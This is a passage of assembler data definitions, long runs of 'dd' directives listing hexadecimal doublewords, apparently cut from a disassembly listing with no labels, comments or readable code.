0ADBFE852h, 6804639Bh dd 1B8D430Ah, 97513920h, 740B94F8h, 555E0345h, 0A7613741h dd 57A97713h, 42AD84h, 7FFBF781h, 0F61D60D5h, 1F742D5Fh dd 2EB8AF62h, 57020902h, 5907400Ch, 0E77DC0C7h, 2A2C9CF1h dd 1AB5BA02h, 54C03BB1h, 3609341Eh, 84D5897Fh, 0E8BBE62Ah dd 89BEB4CDh, 129A386Bh, 2BFDB879h, 7E30258Eh, 0F32BE235h dd 157AB1EDh, 0ADFEFB07h, 800DA504h, 8DB8062h, 2F905EF7h dd 44E9D90Ah, 42085E4Bh, 0C689097Dh, 3C6CFC91h, 79EA4B19h dd 3352EA8h, 0E9F7ED60h, 2C473768h, 0C77256ABh, 7124577Ch dd 436F6A44h, 0F11CE8BEh, 0C489BBBFh, 0E3F955FDh, 0FE7C6C2Dh dd 4B514C13h, 12704194h, 0E091B5E8h, 9A25E963h, 0C4105D2Bh dd 5582BD85h, 77C9E065h, 0E9782879h, 9F82973Bh, 71E0EAD1h dd 702C15BFh, 0F0011B0Eh, 294D0F9Dh, 95FD5E2Ah, 41CBB17h dd 2CF80E4Eh, 0C8B5B82h, 0BD1E94DFh, 8D2DCE98h, 74706917h dd 71610AFh, 0CAC65D2Fh, 2E6F8022h, 69355B25h, 12159B5Ch dd 0A5592CE9h, 0FE031F09h, 22D56980h, 0C1B5FF2h, 0EF4A5032h dd 31B62DFEh, 9F536F20h, 7DEB53E4h, 19BC28D7h, 0EF9AC5AEh dd 9E50BF1Ch, 141C6808h, 0DCFE591Fh, 69E632A7h, 612F55C1h dd 9CE29264h, 0C3DF6DF0h, 9784F897h, 50978580h, 3D455C2Bh dd 0AF0D9334h, 0F3BBDF85h, 1F11D296h, 3FC048C5h, 0F4C1C132h dd 6060EE3Ah, 4AE9E788h, 7F71EC1h, 397FB450h, 0FC7C07DDh dd 1C8E8EEh, 316EBBBDh, 18186042h, 143A4702h, 0DD05E5C1h dd 0ED0BF050h, 7E747754h, 0FC59070Dh, 0D0E2C72Fh, 0C141CF0Fh dd 1207EA30h, 4CAE5A09h, 88051D4Bh, 0BBA70282h, 0EF014C80h dd 0C0B975E9h, 1A50BF76h, 29F38C0h, 64E15118h, 80D87344h dd 798D7F7h, 0E507490Fh, 0B0B7A576h, 7A17E3ABh, 0E4356625h dd 251A9890h, 0D312E3F7h, 53010778h, 5F203633h, 653FA3E9h dd 4FB2FBF7h, 6605AAC8h, 0B7052968h, 0A2E5129Eh, 5B9C55C4h dd 8B3B1FFBh, 1579276Eh, 6BF6D9ADh, 0B50E3D6h, 0B2092C0h dd 0C3481BC6h, 0C948610h, 42AD79B5h, 0C52036D3h, 769D61A0h dd 0C9F51F3Eh, 29A14BB0h, 0BBC762E0h, 0C7B65280h, 91308C0h dd 0D1D35Fh, 0E9CCFE55h, 57DDC8ADh, 0C91D4A8Fh, 0F73402DDh dd 685E09FEh, 17641427h, 0E8033FE9h, 0F8CFC0A1h, 0FC41D94Ah dd 2857BA5Ch, 7E2DFF7h, 47C65D10h, 0E3598B31h, 0DA6A2867h dd 0C2C25564h, 82F6F944h, 72BE78CBh, 690C856h, 89316B04h dd 0EE44BB2Ch, 407AB9Ch, 0A1E57590h, 92F13BF0h, 0B640DECDh dd 5CFE2345h, 0AD4A422Bh, 0F38913ABh, 0BEE30700h, 0BF3CB66Dh dd 0EA2FA2C1h, 0EEFC72EBh, 47B95604h, 59575809h, 38D9A6ADh dd 9EB51AA9h, 7E0642B8h, 3DF42D20h, 9335D840h, 0DF812CF9h dd 0A6702F5Dh, 72888440h, 5BD828F3h, 0CFF4F3DEh, 0BF891DAh dd 4DC4F7AEh, 1CBCC9FCh, 80525F09h, 0B16CFB1Ah, 8E50B515h dd 66E66307h, 26BC8DE9h, 6A60002Dh, 0FE052C1Dh, 0F697ED3Dh dd 9F876A74h, 0C86612E9h, 0B4F25166h, 3EB73A4Eh, 38F8076Bh dd 0F52B8725h, 99299346h, 0CAA4DE70h, 0FD4BFA09h, 7CF89FCEh dd 0BD0A2D60h, 1EFD2844h, 84E5817Fh, 0D556BF68h, 0EB720743h dd 0F059771Ah, 3467AACDh, 0A3454Ch, 10DD5180h, 0B727E3E9h dd 3DF53118h, 2CBD00BBh, 54AFA9FCh, 0F35F5A40h, 4186A0D1h dd 5CA8EF31h, 0BE4B59D3h, 7879F3B1h, 29B2F186h, 9A8F605h dd 1FBA7C9Ah, 32BA895Ah, 0FF957DE4h, 15B42614h, 0EAE0E962h dd 88ACFCC9h, 68054348h, 668D30F3h, 4041B42h, 0A1988052h dd 258371Dh, 0D65B2DA8h, 2EBAE2EFh, 0E91D61E0h, 5217DB5Bh dd 82A4D0BCh, 9D72C79Fh, 0B4D45E9Dh, 65E6820Ch, 0A0F78840h dd 9BE50B13h, 69537D13h, 2EBCFCCh, 30133228h, 9DC2FB01h dd 6B5A0809h, 0E5C44225h, 0E120830h, 2CBE5912h, 302A0D4h dd 96E92D43h, 60185790h, 84C0F062h, 0AF8CE81h, 0AC325A65h dd 0B4AF922Eh, 113D7643h, 4A75CCB7h, 4C121DBBh, 29680BFBh dd 5A1BC548h, 0D9CA6D17h, 2A1BBD00h, 0ED836CF2h, 3C2FCE90h dd 6DAFA284h, 0A1A5553h, 4A02D1D5h, 0FFF2C23Bh, 854BE901h dd 79EFF852h, 40B80CE8h, 0A03BE2Ah, 0F752156Dh, 3CC3FD6h dd 0B43EFF96h, 819DB41Ah, 76CC800Fh, 0B3C8873Fh, 40130895h dd 3104C120h, 2D07D323h, 0FC6F8037h, 0D8C28150h, 75BD6404h dd 780A5D8h, 579D4D58h, 21CBEA23h, 9FAA4E4Fh, 0D95C2F58h dd 605859FEh, 0D9B70DABh, 0E729E930h, 15332E06h, 4E39A5A0h dd 0A0385B81h, 2DE2005Bh, 27E84DBFh, 0D655350Fh, 0BEE984C9h dd 45EB7BD5h, 1F4C4198h, 0AD0F5289h, 0EF4612FCh, 5A4B1C15h dd 0B5F29BA9h, 6A84AFF0h, 2F6BAC81h, 0E10028CAh, 7849504Dh dd 606122E9h, 3C875922h, 765874Eh, 32DFEF5Ah, 234CE10h dd 701863BDh, 4BF0FDEDh, 16B9AE5Fh, 2F57BB18h, 7197469Ah dd 96F52D74h, 60A42539h, 0BD28E2C6h, 0B97589EEh, 54C2760Fh dd 59DB4055h, 4BE10C3h, 6E8FE163h, 47BCBA31h, 0F4132CA6h dd 0D45F7826h, 413F7285h, 80C4C210h, 1A1C342Dh, 363132E9h dd 0F07FC2E5h, 5CE2F645h, 0B78047BDh, 4928CA6Ah, 62029798h dd 5653BA45h, 1894E0BEh, 9C39842h, 778B5165h, 912928D6h dd 0FBF59D17h, 254F29E0h dd 13DC7749h, 4AB4614h, 19D63BF3h, 25D1DE81h, 4761A05h dd 873B8ADFh, 0AE5AEC07h, 7C16E932h, 83EA96CFh, 43F06A44h dd 0D09D314Eh, 99632C7Bh, 350CBC2Eh, 1FCE320Ah, 8138539Dh dd 5529D72Dh, 220DD44Fh, 0D8F0EB98h, 61070551h, 0BB120598h dd 11E95721h, 680ACE3Ch, 88F36C50h, 0E1A276DFh, 0CDCC7298h dd 1FA0A6D0h, 559982C3h, 0AD5EEE8Ah, 793984A6h, 26E9A258h dd 0F9BD479Ah, 9B260F4h, 684EB1E9h, 0FC2647BAh, 0C516370Eh dd 703D771h, 0BAE674D0h, 28FAC016h, 7D975CAFh, 84A63DAEh dd 92D96EDh, 87247DF0h, 2EEBC4Ch, 7C6EC1BDh, 0CC1C03Bh dd 0E2684B08h, 3C401807h, 2C099C27h, 25CE4121h, 2003CCD5h dd 591E9577h, 9716E1D1h, 91A01884h, 2753B41Bh, 64C1E5D7h dd 8007A0A5h, 282FEC09h, 8253F1E3h, 0BDCDE952h, 4B16A27Ah dd 0E4567BEEh, 0D5D99EF1h, 9F06617Bh, 0C831844Bh, 0BBC2E723h dd 0B08A43D2h, 9CB87D54h, 0FECF15C1h, 0C5935334h, 0F4B4BF07h dd 95DE9F5Bh, 0BD271750h, 203AC6FBh, 53D0B7C4h, 9916312h dd 4E5E32D8h, 0B538EB19h, 0F3775A26h, 0A1929F5Ah, 0C4749BF1h dd 444C4E50h, 403166C8h, 0ED4AF9E5h, 0BEB4904Bh, 7E5F02F6h dd 0F601EE3h, 65337783h, 4EFCDA5Ah, 4B5F9E50h, 0BD1790BFh dd 122420DDh, 5600DC48h, 0E9396C57h, 8B8CBECAh, 468003E3h dd 2BB4507h, 0EDF554B8h, 0F231F521h, 0DF5AC8C4h, 3DFBCE84h dd 408B7B56h, 0F7C84070h, 4968E112h, 2A84B5AFh, 83B342FCh dd 0D28CAFCDh, 408A64BCh, 6DB4BF5Ch, 81EB50F7h, 68C80931h dd 0D5B03414h, 0CE922E0Bh, 5D4B2977h, 6816C0BFh, 0D49D2162h dd 6CD7A5A6h, 0C8642DFFh, 7D5BCB30h, 480B1B93h, 8B9FD973h dd 735CFB93h, 72B0B860h, 314D7EB6h, 0C82D2D2Fh, 92EBE059h dd 249D46B6h, 65B6528Fh, 44A86254h, 1D246A1h, 0D0DCF731h dd 0CF46950Bh, 5B923EEh, 5B216886h, 35E14839h, 0E384F45Ch dd 584B8A81h, 0DB7A2D16h, 4DAABD29h, 5BA09AAh, 0CF07FA0Ch dd 7425C2D5h, 20F6DE68h, 0F01CA828h, 57DF0E18h, 12BAEF60h dd 0A548690Dh, 0FE080422h, 8EFEE63h, 0FFDC7866h, 84411E3Dh dd 1F02B824h, 6B879C40h, 0DDC39A08h, 0F8B57716h, 437995CAh dd 280245EBh, 9571E4B0h, 9922E666h, 0BBC34E81h, 5E5AC204h dd 0DEE561EFh, 6834500Eh, 0D22D14F5h, 177DD462h, 8FA05CD8h dd 0B9293C77h, 0F6AFC2D5h, 42078E6Dh, 4CFD3169h, 900C82BFh dd 99732630h, 0DCE98B43h, 0AD045920h, 5195D828h, 0E0D527FBh dd 35E97F2Eh, 0F8266EA9h, 0BD13A134h, 7E882D3Fh, 0C0FBDC56h dd 0E906FC93h, 6DD31F5Fh, 74FEDA4Fh, 1A99EAF6h, 35A80C7h dd 0F2DA219Fh, 0E1701231h, 25BC9C4Dh, 0D878275h, 4EA24EAFh dd 0AF78122Eh, 0AE4F968Eh, 36D27A8Ah, 631570Bh, 436AF508h dd 0CE31287Eh, 58C1AA40h, 151288E2h, 14B7F2F5h, 12E55D5Bh dd 0F62EB4Ch, 5B4AF872h, 0B717EE5Ah, 0E28287ABh, 13DD3804h dd 4B7AC39Eh, 2E8E2D3Dh, 0F9EFC3D4h, 0F528B1C1h, 94FC282Eh dd 88079796h, 5F825BF9h, 5070806Ch, 3EA65977h, 499BEA01h dd 0FFBC1B5Dh, 0AD2830B1h, 777113B0h, 0E9607C41h, 7C3BAC5Ah dd 0B5B67058h, 0D4B9D720h, 87FC5045h, 6BA8F158h, 0B4217508h dd 42C56792h, 0A4571DFFh, 0CBEEEA8Dh, 8DE90B20h, 8D22D93Bh dd 2F260FA3h, 0AE4FC9BCh, 7F5ED40Bh, 0E9045447h, 0CEBA0D86h dd 7C6809DBh, 60E55C66h, 4A14FCB9h, 5BB4700h, 1B8B5EBh dd 5D7290CBh, 0CF13BBA0h, 1D0E659h, 327E9EEFh, 62352974h dd 875E0801h, 0FAEEBB8Dh, 3FDB4240h, 1C2003CCh, 5DBD05D8h dd 9040987Eh, 9BB850E1h, 46D73313h, 8DFB13EFh, 121EDC2h dd 18FCCF31h, 0AB39A02h, 49DE70D3h, 7D112BBh, 100CCE96h dd 0E4E943C9h, 0C2D8FE92h, 30174EEEh, 0B4D02F8Bh, 0D02474E8h dd 10B7881h, 50BB8279h, 2F96A03Dh, 0BD6F8B47h, 57F2F480h dd 0C3A03C66h, 0AD062859h, 1CB3E93Bh, 88B72660h, 295D16FEh dd 5AF3F04Fh, 21D83024h, 4E6158C9h, 11BD4728h, 0C55F0B2Bh dd 58123FECh, 7232FF5Eh, 52C25FEFh, 6052DC5Dh, 0CB295EF1h dd 4201539Dh, 0BA073C21h, 560A6951h, 0CA031028h, 7F304DC2h dd 2E75E2B0h, 0E911A509h, 0BD20788Eh, 275B447Ch, 0BE0567Ch dd 5E2441B6h, 0ED14EC2Ah, 6F890B07h, 7AAC7620h, 8B1AA8FDh dd 80BB8450h, 2175268h, 9C2D598Ch, 16FEF3D8h, 1331FD19h dd 108A0F0h, 8DEDF05Eh, 0B2E4558Fh, 0DECCFCF3h, 711E6149h dd 0AE47C54Ch, 0F2D1A22Ch, 1A1148B0h, 643BED01h, 60F00923h dd 59818F09h, 0BE6CE03Bh, 280900B4h, 0A5B9DBE3h, 21655B7Ch dd 0F0292090h, 1F29F2Dh, 9C385E76h, 43977835h, 12819D01h dd 0AE05CD83h, 1689EC05h, 0E84E52F2h, 61EA1390h, 4801CBBFh dd 0E51C5D6Ah, 0D0A99CFAh, 0DBF4324Ah, 6811408Bh, 13346525h dd 0E9CF1D44h, 8396A44Bh, 49BF1C6Eh, 3AE1B1D1h, 0AC4E772Fh dd 0C82116C9h, 1E702E08h, 64F3D75Ah, 0D891BA86h, 1CE036C0h dd 914379E9h, 0F12DBC4Dh, 0BE581D84h, 0E459FCB6h, 0D84684h dd 77C2BB53h, 0F1084BC3h, 0B3EC8D8Ah, 0B03144F4h, 247BA179h dd 52E9A392h, 0CA0CD7F6h, 4F281A7Bh, 0DC10F2D1h, 0CEA8D631h dd 2B04FF05h, 0ADC24D01h, 0EB0A87BFh, 58F9F877h, 5829F2DCh dd 2BB67ECDh, 0BA7AA73Ah, 45B5DE01h, 0E25D0908h, 0C0B72C0Fh dd 8803273Bh, 93FFC780h, 30B705E7h, 68CFFEA6h, 250FC325h dd 74FB2B6Eh, 1EF080E2h, 36100D64h, 841D701h, 4226B92Ah dd 7C14176h, 0BF5B14C2h, 0D6D888B3h, 0A06BF57h, 4F34D337h dd 0F056F6Ah, 0BE22C5B6h, 332948E1h, 3427A416h, 0FC2CEF89h dd 599D404Ch, 975E949Dh, 0E98CB875h, 97B049D3h, 7A69FD5Eh dd 0A880E84Bh, 7E9CE4B9h, 0F8294A9Eh, 75FEB4C7h, 848DF9A5h dd 0CDAE9FE9h, 95FCE001h, 0B8C41197h, 0C21FFA2Bh, 0FEE61F79h dd 6889DDA5h, 0C8B95B77h, 0D7720B29h, 206ACE7Dh, 814CC9B7h dd 0F12E16FBh, 0A8ED5500h, 9DB01318h, 0DD20CBC0h, 0A87A719Fh dd 60E5418Ah, 2560F869h, 4052C745h, 0D17D5051h, 907102CCh dd 76768EBh, 0D143BAA2h, 0C9F1DF09h, 8841558Eh, 9F862012h dd 0F7584001h, 0C7ACE0DEh, 26406697h, 72497F61h, 2D5CD202h dd 0CC26E259h, 0DC35140Bh, 25FB6240h, 0D20C9D53h, 6BBA9F3Bh dd 0A08FD758h, 0A87DE5C5h, 6E48C443h, 5AF08BBBh, 0FA68F681h dd 0BAD08C3Bh, 0A604921Eh, 0D2AE4A93h, 0E80C07ADh, 0F19BCECFh dd 0FF70E1E4h, 0EA5FACE3h, 5816E755h, 549CB4DDh, 0BEF04BBDh dd 5037B8Ah, 0E96A3126h, 5668F892h, 601BF0F7h, 985043A8h dd 13F196EBh, 4EBCE947h, 8ACC565Dh, 0C04BE53h, 2924304Ah dd 478290EBh, 3850022Eh, 9F4193BBh, 0D841E13Bh, 28285FCh dd 0F54F5A8Ah, 0A040ABE2h, 2C1257A7h, 5BE2126h, 341E0D7Dh dd 0CBBB5EB0h, 9E7FCFC9h, 0D1F70649h, 0F74BFE68h, 0EB19E22h dd 0F6F39C1h, 1093014Fh, 29170819h, 0D27C27F9h, 0BB55272Ah dd 1E2E1F8Bh, 0E91B4554h, 55B90C1h, 0F2286ACFh, 8C248731h dd 428CE617h, 41067F77h, 0ADB40082h, 8FA0F275h, 77125FF6h dd 0EAB467A1h, 9E9806EBh, 0FB012745h, 6BAE3124h, 0EED4E89Dh dd 5FC32563h, 7F95BDE4h, 295AC903h, 7B1712EEh, 39397114h dd 10368482h, 50DD4105h, 0DE6495E6h, 0DEBCB62Fh, 8B1C5917h dd 277DE93Ah, 401FB88Eh, 0B95121F9h, 0FE3A2560h, 0C1015DCh dd 0C98DB21Dh, 0B41ABFD5h dd 5758C4A9h, 64C13E24h, 0B7D2E2h, 0CE25C02Dh, 0C8015318h dd 7A5CFDAEh, 125B80Ah, 2DEC353Ah, 7F1FAFE9h, 0FD4B34E7h dd 8DB4103Eh, 0A0535613h, 0E2486EF3h, 0EBED0063h, 0E926850Eh dd 19AE4CE7h, 435CBAC0h, 574C6756h, 93E0BECh, 0AE4A02B7h dd 0BFC72515h, 0A02F33A1h, 2641C053h, 0ADC2572Fh, 3F214897h dd 7224CE62h, 0D0BC3281h, 93B9E32Fh, 0EA0238E6h, 113E1987h dd 897A8FDh, 0C4685F02h, 4E65FD20h, 0D39AF5A5h, 49BD5977h dd 7C5FFF32h, 0BE0A0C2h, 4ADA68F5h, 0D38238Eh, 0F94E2EE9h dd 64197592h, 0BEC23DDFh, 2D247089h, 1390D057h, 2F664E9h dd 78CA681Ah, 0C2A5995Ch, 26FB7771h, 50828A24h, 0E13A2270h dd 3CADF959h, 239FE2F2h, 0FA4B5D4Bh, 4982DD36h, 4A542C33h dd 0CD685AC1h, 3C84CD2Eh, 414476C1h, 0C680BF0Ch, 3D7D34B9h dd 0F649082Fh, 248F027Fh, 0A37209B6h, 4B160B0Ch, 4170C36h dd 89F53857h, 19F5EECAh, 0FDE4D0A5h, 0F1827827h, 0EAD54BFCh dd 7F2DC2E1h, 0CC66610Bh, 7DA3CA95h, 9A68EC83h, 0B0BBACCCh dd 9AE552E9h, 0A2C70BC2h, 0E9497A3Dh, 0C0846EFh, 0C209D5B0h dd 42BFE90Fh, 0A8F0C531h, 67733FA2h, 0FDD202Fh, 41FBD24Bh dd 317EA805h, 2D6C6073h, 0B08F27B9h, 0FA374611h, 0BF5A4856h dd 663EE504h, 5503AE1Bh, 0BCC943EAh, 8D4F72ACh, 2896F4Eh dd 4087E0C5h, 3753DD88h, 5BDA51EBh, 9675E659h, 0EB41FB0Bh dd 0E9017B09h, 81E15040h, 51443C9h, 6E058F0h, 56F129C3h dd 35F40118h, 7EE917C6h, 0ACC2835Dh, 13360368h, 20EF4845h dd 0AB51A5BFh, 0C2890A26h, 46C6EA81h, 5F7CB5DAh, 0FD8B7F13h dd 0C3888D7Bh, 34EDF28Eh, 1FC5186Ah, 0D9288B5Eh, 737A7D20h dd 33F43552h, 0C0076B96h, 258505EAh, 0EE5A0CACh, 6730DA0Eh dd 69DE10C3h, 7DE7923Dh, 67DDB0ABh, 7A562597h, 8C3D97Ah dd 0D82FF8B2h, 38FD305Fh, 4B3AF55Dh, 4903458h, 9F44A4EDh dd 5DEA60C0h, 82C25029h, 641A2483h, 0EFA112E4h, 0D9BA3F13h dd 18EE8BBDh, 0F99BDDB3h, 8A54CDCAh, 59CB5F1Fh, 8DE6568Ch dd 3B2BDCB8h, 3668F344h, 0B90D30FBh, 0D57203D0h, 0FAF3BB3Eh dd 0F302665Ah, 0E66A5768h, 0B7DB818Fh, 121AB2C0h, 0ABB10FE9h dd 0E157EB73h, 188180CAh, 227E0BBAh, 85FC426Eh, 5CB7EAE6h dd 5C04CBFAh, 4E051676h, 17ACDC0Dh, 0E558AFD1h, 40742627h dd 0E9271753h, 684D800Ah, 53955D56h, 0EB5E895Ah, 0DD92FF79h dd 4C68EAC1h, 1118912Dh, 5DE8A595h, 3E2F3505h, 0C3C52940h dd 0BBEF595h, 0E102C06h, 670C52C9h, 10DAF763h, 9C6401D5h dd 0E9D0899Bh, 5E747C30h, 10FEA6C5h, 5D25DDF3h, 5E278845h dd 0C2B27BA9h, 138967F7h, 5BC4B6DAh, 0A4ED2BD2h, 48F65A9Fh dd 4A303C20h, 5EEF7F88h, 130B2632h, 0A8D916A7h, 2FC2906Ah dd 0A1E746B3h, 0EF041FFEh, 0EFD309B6h, 0F95DABCFh, 0DEA6E909h dd 0B1515401h, 8C9DE02Bh, 49987E97h, 91787089h, 90EAE5BDh dd 82B250D3h, 9122DE41h, 0E0C04A03h, 34E02C02h, 0D87DF6C2h dd 0B6523001h, 2498E916h, 58AFEF55h, 8B07E8AAh, 931524B1h dd 84502A9Dh, 5485800h, 5E1A7BC6h, 0DBF23D2Dh, 10102Ah dd 0F425E0D1h, 0D28BF4Ch, 0BE04BB7Ah, 83E95109h, 7288CBA0h dd 0EC57DF0h, 0A4EE805Ah, 0C6BAFA1Ch, 8032AACAh, 45F5666h dd 0BEE68659h, 0BFB42716h, 60C5419Eh, 709C20Ch, 5ED03A9Ch dd 23360999h, 10543AF5h, 81169BDCh, 0FF2E705Eh, 0BE46910h dd 2124816h, 684E9D8h, 574ABEE6h, 539E8EF8h, 0E42804FAh dd 0E7C102D0h, 2E77006h, 0B74D454Ch, 79DFFB31h, 0E950E0FDh dd 0F1A8315Ah, 0D54EB252h, 80511FEEh, 0CCFE3BB4h, 0E17A8851h dd 0CB124BB0h, 0B2FFD3F6h, 100D53B4h, 800C590Ah, 9106C8F7h dd 667EEFECh, 7760F52Fh, 0E38D56B0h, 0E16DFE51h, 8109741Eh dd 0A18F675h, 0C20C7344h, 1DC00655h, 2332B7E9h, 0B95EF05h dd 7DE51B73h, 555E0802h, 0DF4219D9h, 4E8009C1h, 0D0955976h dd 515BC7B2h, 95C6EAE0h, 0B802B15Fh, 0D88F323Ch, 26FEC34Bh dd 9453A60Ah, 9646782Dh, 78A5108Ah, 0E9806EF9h, 4BE189C7h dd 0CDDA12BEh, 93E83A32h, 0D365AEA5h, 0DAE27D94h, 0D6759D9Ah dd 0C87CAFA9h, 0E8042979h, 514DF6DAh, 0C03F1768h, 0FD7DC6D8h dd 68015758h, 962F0858h, 0B1F72000h, 0B0F35E4Bh, 1512050h dd 0B1ADB050h, 3564E90Eh, 2AEF2EB1h, 8EFE4AA2h, 0E25C2F40h dd 0F9537F10h, 68933F4Ah, 813E85DDh, 22B06B7h, 7D2D925Fh dd 65134547h, 0F3FEAB34h, 9BC30219h, 77B7AB45h, 3D92CA2h dd 0A8613425h, 0FF64F6E9h, 23A042Dh, 0AA056559h, 3BE834F1h dd 335C0F25h, 794E829h, 7FB6E90Ah, 0C9D62536h, 88D3018Ch dd 31B85A29h, 9D07D467h, 2544E12Dh, 0CDC448F7h, 7BCE8AFAh dd 0F385AC25h, 69824236h, 7F490A54h, 649EDF9h, 271B531h dd 71A06856h, 11E3110Fh, 39EE15E9h, 49B5844Fh, 18DF112h dd 6F90DB59h, 6E642899h, 8311333h, 117A022Ah, 80F59A0Dh dd 0B5273C02h, 75095CADh, 0E9FB8707h, 60728957h, 50262C78h dd 2EBFC9DBh, 0BA9A02D9h, 228ADFBFh, 0D2CC3D6Ch, 0BEFE124Bh dd 3BA99210h, 2F5CD262h, 414D5450h, 7355968h, 0FEB0EFA4h dd 0F081E241h, 770C04E7h, 8BC80130h, 0ADA84E8Eh, 0A0CDE9E3h dd 2B09B9F8h, 5F4B6A6Eh, 0C3A18D60h, 2180A51Bh, 0D831CFE8h dd 803AAA2Bh, 0BA3BF820h, 962D7B3Eh, 0A05973Eh, 70905D8h dd 1B4ED55Bh, 0D953582Eh, 5525D810h, 0CDC2DFFEh, 0B2F38359h dd 4F77A170h, 6D358571h, 0C62BE42Eh, 0C49062AEh, 6678709h dd 10EA42B7h, 0C68F66E5h, 46DA89E4h, 0D830AC02h, 66010368h dd 19B53F5Eh, 0F580CD84h, 81B6F2C2h, 0C8FEE888h, 0D67AC82Fh dd 148B3580h, 0E82A2D42h, 9FC77B2Ah, 3E575980h, 0F0B912AAh dd 8D47FB02h, 4A55DE0Bh, 0BEF23442h, 923E0763h, 0DC5177FEh dd 939CC60h, 0AC9FC4Bh, 6A5C6410h, 0D83802D4h, 928BD754h dd 0F642B809h, 10F6E35Dh, 4EF6F99Ah, 0BF38D2B9h, 3A7E668Bh dd 1B785600h, 0C09F565Ah, 274B4265h, 0A4C2E424h, 0A194B05Dh dd 0B32C80DDh, 97F0283Ch, 0D0AA0155h, 0E13D365Fh, 0B9F3BF6h dd 104DF7D9h, 0E5B25F27h, 0FDC29C5Eh, 33187509h, 0BD8095C6h dd 0F47F1617h, 1E12FB43h, 13A9B3BAh, 0A757299Bh, 38686CA0h dd 0EB4A468Ch, 9DD52728h, 96C7357Eh, 2FE8FE35h, 79DEF280h dd 0CC1735Bh, 23311056h, 1240D620h, 0A559D04Ah, 8508053Ah dd 800D47C4h, 0DC2843F3h, 940F9FD1h, 4E55BB14h, 0D6EE1CAEh dd 0EE202599h, 724417A1h, 0BF9517FBh, 135D75D8h, 416648E9h dd 0F54735DFh, 79107061h, 1E207341h, 7F938h, 7CC580FDh dd 20BDCCB5h, 0B904D78Ch, 4A562536h, 0AA4BA6ECh, 0EA1B7981h dd 17204025h, 0EEAF24CEh, 5D5B01ECh, 3A047568h, 6D9BE230h dd 0AB1D5B2Ch, 329CA974h, 68BE4037h, 7C5E0C27h, 0AEEF709Ah dd 74861A17h, 4B104C16h, 66B95A08h, 76F123CEh, 0C662A624h dd 0A008EE8Fh, 7030054Dh, 90C75ECh, 0B086EBC7h, 607F140Bh dd 2AC20110h, 4D22E3E9h, 21130F3Dh, 181CA6F8h, 681AF370h dd 0E9725B29h, 5F1F92B7h, 2581B114h, 9FBF009h, 61993421h dd 0B001A1AFh, 825F2468h, 1C90E90Ch, 7F746A82h, 4D7F05FAh dd 73EEE504h, 62EE2787h, 35DEEB45h, 0DA296607h, 4A3FC83Ch dd 0B1EE913Ah, 0CD168611h, 190A1D4Fh, 2B40B2C5h, 291E9D57h dd 24C21072h, 138BA25Dh dd 30A82B10h, 81E2B0B4h, 4D8FE31Dh, 1B1E6153h, 1E2C6702h dd 72965509h, 9B20B998h, 0EB80048Eh, 83CBFE7Ah, 4CE93F85h dd 77B26D08h, 20734D25h, 0D1347F79h, 116B026h, 6FCE059Ch dd 2F042CE9h, 6C48B1F3h, 0F735B632h, 5E8BAFFCh, 83B7C29h dd 562D4B87h, 0D7638CC6h, 0D695D571h, 738A6D8h, 1F136189h dd 0A72CBB69h, 1E120ADCh, 44026EEDh, 0C0F24CABh, 577C7F6h dd 0E9052125h, 4949BA88h, 8B9457C8h, 54545126h, 80A5561Ah dd 78146132h, 0C7CA5101h, 9D1C0806h, 7826D276h, 0FE2B82BDh dd 0CC856852h, 9FBCB04Ch, 0E4EFCA26h, 0AF70599Fh, 0DF02BFFh dd 647E29C2h, 0F1E217E5h, 23F502DAh, 910A0709h, 55771A82h dd 288845C7h, 8F246968h, 5CC9D392h, 0E456A0B2h, 0E6CB7825h dd 495B6DFCh, 26C42EA4h, 0F4B43AECh, 63A9B7C5h, 22853054h dd 2D687D40h, 0A69A4448h, 0D7482957h, 7B779BCAh, 0DF4CCFA6h dd 0C2043B4Ch, 0EEDE840Fh, 50CD8EAEh, 18B45133h, 7DE8424Bh dd 90C84B73h, 0BF058022h, 15B77667h, 0FBF39788h, 0B523D6CCh dd 0E6C87543h, 0F21D4E20h, 0B1A6C117h, 54A43109h, 0C29C6520h dd 0E080D6EFh, 288645Ch, 13D27CB8h, 95C046A4h, 8B7838D8h dd 5CCDF49Fh, 0E9DFF705h, 63E9BDA5h, 2B9DE24h, 7887BDBh dd 319FD86Ch, 0D7251DD6h, 0FEB2563Eh, 0D3D94084h, 34E90D85h dd 0BAA25D05h, 95B72F78h, 0F998BDC5h, 381FB289h, 0D30723B3h dd 0E2D8285Ah, 0F9790556h, 12D0594Bh, 0D303866Ch, 0E6D8462Dh dd 0B6EEC02Dh, 512EB731h, 0F639B10Eh, 0C0D140D9h, 0E68003E9h dd 0B8DDEAE2h, 5BAA8638h, 50E7F384h, 56061BC5h, 1FBD6FFDh dd 0E7314F0Bh, 0B8E90979h, 4B796498h, 947CAC5Ah, 7B91100Fh dd 0B020926h, 0F210605Eh, 0B727994Ah, 0B7FED0C7h, 856F6803h dd 16D6C458h, 40BF2D5Bh, 32BC05E1h, 13E779Ah, 0E90750F8h dd 279B092Fh, 5382CD6Eh, 0C3F377DAh, 0E254AD3Dh, 26955D3Bh dd 4EA9A039h, 0D213EF52h, 9D9A848Ch, 6DB44E00h, 0A7A0E4C0h dd 7897F1F4h, 16F25F70h, 637FFF9h, 0DD9C57C2h, 0BC0CEA38h dd 993C0C9Bh, 29106FA2h, 9DC19A20h, 4E12E7C4h, 2098FEECh dd 0FC91F329h, 0B7530289h, 86F828D8h, 80240CC8h, 824EDAC5h dd 7769C2F5h, 9CB8FFCh, 0E1F35FACh, 13B55BE9h, 0AAA68552h dd 0E9C204F3h, 0A0FF69CAh, 6215D628h, 0EC5D4F0Ah, 2A198127h dd 129759E5h, 979AC05h, 702CFAFh, 78A9E930h, 8FB8045Ch dd 0BF69FA66h, 4ADA584h, 24E90B40h, 48AFBB02h, 0F001C2D5h dd 9079EEF5h, 87F65523h, 41103946h, 0D0A45263h, 69B937C8h dd 687B0D18h, 25369E6Ch, 8FD4BBAh, 0E82508B1h, 82B821B6h dd 8374825Dh, 0BEA1C9EBh, 0F70161F5h, 2A9D041h, 2BA68D6h dd 0A20ED891h, 4902E7FEh, 5D3F2B40h, 0EA89DD84h, 7B58CAA3h dd 783A802Dh, 51A9DE5Fh, 0DFE83E93h, 782D4296h, 6CC7FEF5h dd 71C4FE25h, 0B1F96E53h, 22A840h, 811EA07Bh, 2BC831C6h dd 8E91709h, 0D3562EC3h, 0EDC7C4BFh, 215CC5A6h, 0B8D368B6h dd 0DB43E170h, 49F8382Ah, 59F75166h, 0D1DCEBA6h, 0AA709D82h dd 0E9A0DBB8h, 0E32F12C4h, 76885D20h, 4E90908h, 2E0524E1h dd 689302FEh, 8959033Dh, 4253CD83h, 903A3A65h, 80C5A3AEh dd 